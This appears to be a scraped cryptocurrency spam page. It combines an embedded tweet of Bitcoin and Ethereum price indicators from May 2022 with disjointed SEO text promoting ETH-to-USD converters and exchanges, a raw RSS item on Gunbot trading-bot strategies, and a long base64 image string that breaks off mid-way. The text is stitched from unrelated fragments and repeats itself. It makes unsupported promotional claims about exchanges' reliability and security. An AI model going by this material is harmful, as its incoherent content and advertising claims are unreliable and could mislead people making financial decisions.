<p lang="it" dir="ltr"><a href="https://twitter.com/hashtag/Bitcoin?src=hash&amp;ref_src=twsrc%5Etfw">#Bitcoin</a> Last Price $38690 <a href="https://twitter.com/hashtag/BTC?src=hash&amp;ref_src=twsrc%5Etfw">#BTC</a> <img src="https://s.w.org/images/core/emoji/13.1.0/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br />Daily Indicators:<br />-RSI: 42.8<br />-MA(20): 39764<br />-MA(50): 41971<br />-MA(200): 47155<br />-Bollinger B. lower/upper: 37651/41878<a href="https://twitter.com/hashtag/Ethereum?src=hash&amp;ref_src=twsrc%5Etfw">#Ethereum</a> Last $2842 <a href="https://twitter.com/hashtag/ETH?src=hash&amp;ref_src=twsrc%5Etfw">#ETH</a><br />-RSI: 43.3<br />-MA(20): 2956<br />-MA(50): 3060<br />-MA(200): 3452<br />-BB: 2742/3170<a href="https://twitter.com/hashtag/Crypto?src=hash&amp;ref_src=twsrc%5Etfw">#Crypto</a> <a href="https://twitter.com/hashtag/Live?src=hash&amp;ref_src=twsrc%5Etfw">#Live</a></p>
<p>55272</p>
<p>&mdash; Live Price Crypto (@LivePriceCrypto) <a href="https://twitter.com/LivePriceCrypto/status/1520924312319975424?ref_src=twsrc%5Etfw">May 2, 2022</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
</p>
<p>Convert 496 Ethereum to US Dollar from World to United States. Exchange-Rates.com currency converter uses exchange rates that are updated every 5-10 minutes. Convert 569 Ethereum to US Dollar from World to United States. The ability to manage assets without third-party interference has contributed to the popularity of cryptocurrency. Over 100 million people use cryptocurrencies like ethereum on a global scale.,Because cryptocurrency is decentralized, its value is very volatile; therefore, <a href="https://www.beaxy.com/exchange/eth-usd/">eth calculator</a> it is important to keep track of its worth. Rubix provides a faster, more secure way to convert ETH to USD. Users can carefully monitor rates through the Rubix Conversion tool. The interface is pretty nice and simple to use which makes it comfortable both for newbies and pro-traders. Talking about charts and analysis &#8211; TradingView charts are available on the platform, which has all the tools and data that any trader needs, especially when they trade with Ethereum or US Dollar.</p>
<p>To change currency, press the flag or currency symbol. UAH is the currency code for Ukrainian Hryvnia, which is the official currency of Ukraine. Now you can send money to the generated address, or just copy the address link and send it to the user from who you are waiting for the funds from. The easiest way to buy crypto on EXMO is the “Simple Trade” option. Just select the desired currency in the “I give” field and indicate the amount and currency which you want to receive. EXMO is a reliable platform with a high level of funds and data security and record-breaking technical support that responds within 15 minutes 24/7. And customer care &#8211; as the most important value of the EXMO team. This page features a handy tool to check the Ethereum to USD rate. Yes, there is a minimum cash out value of CHF25 to withdraw Ether in USD by bank transfer with Mt Pelerin. CEX.IO LTD serves residents throughout countries all over the world in which it operates.</p>
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		<title>How To Transfer Coinbase To Gdax Gunbot License</title>
		<link>https://heilpraktiker-pruefung.com/how-to-transfer-coinbase-to-gdax-gunbot-license/</link>
					<comments>https://heilpraktiker-pruefung.com/how-to-transfer-coinbase-to-gdax-gunbot-license/#respond</comments>
		
		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Mon, 14 Mar 2022 13:28:57 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=1084</guid>

					<description><![CDATA[These can be freely combined, where one method is being used for buying and another for selling. The trader has total control over what coin-pair to trade, on what exchange, and most importantly, the trader has a lot of options when it comes to selecting a Buy and Sell strategy. GunBot can automatically accumulate quote [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>These can be freely combined, where one method is being used for buying and another for selling. The trader has total control over what coin-pair to trade, on what exchange, and most importantly, the trader has a lot of options when it comes to selecting a Buy and Sell strategy. GunBot can automatically accumulate quote currency when prices move down, without investing more than the initial buy order. DCA Double Up is a GunBot method for automatically averaging down assets. This allows you to reach a lower average price per unit when prices move down, making for a lower possible profitable exit price. Double up is a Gunbot method for automatically averaging down assets, also called dollar cost averaging or DCA. There’s not really a guide per say it’s more just watching the markets and knowing what does what. XRP was just an example because of its struggles to reach above 30c, so those values would work well. In saying that it could also moon one day and go to $5 and you’ve sold at the 25c mark.</p>
<p>Once you get a handle on the settings, it works very well. As prices fluctuate, the trading bot will automatically and continuously place limit orders in order to profit from the spread. TheQCryptoMan verified owner — October 3, Trading in Binance with BB strategy. Alternatively, you can use the Zignaly trading terminal to create your full strategy at once. Every project on GitHub comes with a version-controlled wiki to give your documentation the high level of care it deserves.</p>
<p><h2>Only Btc Pairs</h2>
</p>
<p>It will buy back quote units when price reaches the break-even point and then attempt a profitable strategy sell order. If prices do not reach break-even, you’re left with an imaginary bag of reserved quote units, this is often jokingly referred to as “RT hodling”. Take the time to familiarize yourself with basic trading functionality of Gunbot before you start using these options. DCA and reversal trading can greatly improve your results, but also immensely complicate your trading strategy. Gunbot makes it easy to use a number of common trading indicators in your trading strategy.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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